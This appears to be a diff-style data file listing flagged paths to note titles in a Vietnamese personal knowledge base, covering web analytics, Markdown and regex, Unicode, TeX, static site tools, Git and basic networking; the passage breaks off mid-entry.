+ +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Traffic, social, channel", + "Referral channel group bao gồm organic social trong đó" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Traffic, social, channel", + "Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn" +] + +🚀: false +[ "", "🔊Tiếp thị số", "Web analytics", "Google Marketing Platform" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Search Console chỉ lưu dữ liệu trong 16 tháng" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Search Console dùng để biết thiên hạ đang google web mình thế nào" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Các dữ liệu cần xử lý chung một chỗ cần được đổ về cùng một property" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Các tag có thể thêm vào" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Destination ID cho GA trùng với Measurement ID của web data stream" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Destination là nơi nhận dữ liệu của Google tag" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google Tag Manager", + "Container" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google Tag Manager", + "Data layer cho phép thay đổi URL mà không làm GA nghĩ rằng mình đã đổi sang trang khác" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google Tag Manager", + "Data layer tập trung mọi dữ liệu lại vào một chỗ rồi truyền đến container" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google Tag Manager", + "Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google Tag Manager", + "Workspace" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google Tag Manager", + "Để kích hoạt một tag trước tất cả các tag khác, chọn ❝Initialization – All Pages❞" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Một Google tag có thể có nhiều ID" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Server-side tagging", + "A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates events that are passed to a destination, like Google Analytics 4" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "Server-side tagging", + "Only one client can claim an incoming request, but there can be multiple clients trying to claim the same request" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Gắn tag", + "❓Measurement ID của web data stream chính là Google tag ID" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Link referrer không hiện đầy đủ mà chỉ có tên miền vì URL có thể chứa thông tin cá nhân" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Web analytics đã thay đổi trong nhiều năm qua" +] + +🚀: true +[ "", "🔊Tiếp thị số" ] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Các quy chuẩn thời gian ISO và RFC" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "Nhiều người vẫn nghĩ là bảng hoặc danh sách chọn là markdown chuẩn, trong khi thực ra nó là phiên bản của GitHub" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "Python", + "Plugin ezlinks vừa nhiều lỗi vừa không cần thiết" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "Python", + "py-obsidianmd gặp lỗi khi chuyển từ ALL sang FRONTMATTER" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "Python", + "Python Markdown là để tuỳ chỉnh các tính năng thường gặp. Python Markdown Extensions là để mở rộng các cách đánh dấu mới" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "unifiedjs", + "mdast dùng khi muốn thao tác trực tiếp trên cây cú pháp" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "unifiedjs", + "parser là thứ để biến văn bản thành cây cú pháp. Compiler là thứ để biến cây cú pháp thành chữ" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "unifiedjs", + "Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "unifiedjs", + "remark là unified có remarkParse và remarkStringify" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Markdown", + "unifiedjs", + "unified, remark là các processor" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "Cần escape regex" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "JavaScript", + "Dùng regex.exec() với while dễ vào vòng lặp vô hạn" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "JavaScript", + "Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "JavaScript", + "regex.exec(), regex.test() thay đổi kết quả sau những lần gọi mới" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "Không dùng b ngay sau ký tự unicode được" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "Lazy quantifier chỉ lười về bên phải, chứ không lười về bên trái" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "Regex giúp tìm kiếm những chuỗi phức tạp" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Regex", + "Tự học regex" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Bộ gõ tiếng Việt" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Các ký tự ASCII có 1 điểm mã" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Cách máy tính hiểu ký tự khác với cách con người hiểu ký tự" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Không gian mã là không gian chứa tất cả các điểm mã của Unicode" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII" +] + +🚀: true +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Những số bắt đầu bằng 0x là những số hex" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Unicode chia thành 17 plane, mỗi plane chứa 65,536 (= 16⁴) điểm mã" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Điểm mã không phải là cách để máy tính lưu ký tự" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Lý thuyết Unicode", + "Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Ký tự, văn bản, ngôn ngữ đánh dấu", + "Tiếng Việt, Unicode, emoji", + "Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "Graphviz", + "Cài PangoCairo trước khi dùng unicode trong Graphviz" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX", + "Engine", + "Macro dùng để viết tắt" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX", + "Engine", + "TeX chỉ tạo ra được DVI. pdfTeX, XeTeX, LuaTeX tạo ra được PDF" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX", + "LaTeX đối với TeX cũng giống như jQuery đối với JavaScript" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX", + "TeX dùng cho máy in. LaTeX dùng cho tác giả" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX", + "TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn" +] + +🚀: true +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "TeX", + "WYSIWYM cho phép ta chỉ tập trung vào việc viết nội dung, nhưng đồng thời lại đảm bảo rằng ta sẽ không gặp những lỗi về hình thức mà không biết sửa thế nào" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Sắp chữ, thiết kế", + "Tạo bản đồ" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Trình soạn thảo (Obsidian)", + "Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Trình soạn thảo (Obsidian)", + "Nên dùng H1 hoặc YAML title làm tiêu đề hơn là filename" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Trình soạn thảo (Obsidian)", + "Obsidian dùng CodeMirror" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Trình soạn thảo (Obsidian)", + "this liệt kê tất cả những dữ liệu mà Dataview đọc được" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Trình soạn thảo (Obsidian)", + "Ưu tiên dùng API của Obsidian hơn là của Node" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "Lume", + "Các template engine và processor sẽ kiếm trong thư mục _includes" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "Lume", + "Theme cơ bản là những plugin có remote" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "Lume", + "Tất cả các đường dẫn đều bắt đầu từ src" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "Lume", + "Tất cả mọi thứ đều phải ở trong thư mục src" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "MkDocs", + "Bất cứ một tệp nào trong overrides sẽ thay thế tệp ở theme gốc" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "MkDocs", + "main.html là template" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "MkDocs", + "main.html mở rộng base.html" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "Muốn cái nào làm trang chủ thì để tên là index.html" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "Web tĩnh" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "Nội dung trong cơ sở dữ liệu được PHP hiển thị thành HTML" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "PHP là một ngôn ngữ lập trình cho web" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "phpMyAdmin là GUI để dùng MySQL" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "WordPress là một hệ thống quản lý nội dung" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "WordPress viết trên nền PHP" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Tạo website", + "WordPress", + "WordPress.org là phần mềm mã nguồn mở. WordPress.com là dịch vụ hosting" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Blob, tree, ref. Bản chất của Git", + "Bản chất của Git chỉ là những cặp giá trị key – value" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Blob, tree, ref. Bản chất của Git", + "Có 4 loại object chính – blob, tree, commit, annotated tag" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Blob, tree, ref. Bản chất của Git", + "Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Blob, tree, ref. Bản chất của Git", + "Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Blob, tree, ref. Bản chất của Git", + "Key là hash của object, value là nội dung object" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Blob, tree, ref. Bản chất của Git", + "Ref là hệ thống đặt tên các object" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "@ là viết tắt của HEAD" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "Git không biết gì về folder" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "git log giúp xem lịch sử các commit" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "git reflog giúp xem lại các ref không có trong lịch sử commit" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "HEAD là commit hiện tại" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "Reset soft dùng để gộp nhiều commit lại với nhau. Reset hard dùng để xoá bỏ những gì đã ghi sau commit được chọn" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "stash pop nếu gặp conflict sẽ không pop" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Commit", + "~ và dấu mũ là để chỉ các commit trước đó" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Các lệnh Git thường dùng. Các lỗi Git thường gặp" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Facebook chuyển sang Mercurial vì nhóm phát triển Git năm 2012 không mặn mà với monorepo" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "diff does not take into account untracked files" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "git diff" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "git status giúp xem những file nào đã được vào stage" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "ls-files chỉ làm việc với index" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "pathspecs giúp chọn đường dẫn một cách linh hoạt và tinh tế hơn" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "Stage, index, cache", + "git add -A làm cho index giống như ở working directory. git commit -am chỉ áp dụng cho những file đã có sẵn trong index" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "Stage, index, cache", + "Stage, cache, index là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "File", + "Stage, index, cache", + "Untracked, staged, unchanged và unstaged là 4 trạng thái chính của một file" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Git giúp ta du hành thời gian" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Git tag" +] + +🚀: true +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "GitHub", + "Bấm dấu . để mở VS Code web ngay trên GitHub" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "GitHub", + "GitHub Page không nhận ra các thư mục có dash phía trước, chỉ đọc được trong docs" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "GitHub", + "Template và fork" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "GitHub", + "Tạo nhánh mới khi tạo PR sẽ dễ quản lý hơn" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "GitHub", + "Website GitHub là cách để teamview máy của GitHub" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Real-time collaboration isn't necessary in most cases, but asynchronous collaboration" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Repo", + "Khi merge, ours là branch hiện tại. Khi rebase, theirs là branch hiện tại" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Repo", + "Khi viết tính năng mới nên tạo branch mới" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Repo", + "pull không lấy file mới về, mà lấy commit mới về" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Git", + "Repo", + "Upstream, origin là những cái tên thường dùng cho remote" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Syncthing", + "Hướng dẫn đồng bộ dữ liệu với Android" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Syncthing", + "Ảnh lưu trên kho trên điện thoại sẽ được thấy trong gallery ảnh" +] + +🚀: false +[ + "", + "🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung", + "Đồng bộ, sao lưu", + "Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "HTTP", + "HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "HTTP", + "Request là thứ client gửi cho server. Response là thứ server gửi cho client" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "HTTP", + "Trình duyệt chỉ gửi yêu cầu và nhận phản hồi ở dạng HTTP" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "HTTP", + "Yêu cầu HTTP chỉ là một tệp văn bản" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "DDNS cách để không cần phải biết IP của mình là gì mà vẫn có thể truy cập được, kể cả khi nó thay đổi không báo trước" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "Default gateway là IP của router" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "DHCP giúp thiết bị có được những thông số cần thiết để kết nối mạng" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "DNS giúp chuyển tên miền mà con người hiểu được thành IP mà máy tính hiểu được" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "DNS sẽ đi hỏi các root nameserver" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "IP mọi người thường sử dụng là IP động" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "IPv6", + "Internet tuân theo định luật Postel" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "IPv6", + "NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "IPv6", + "NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + 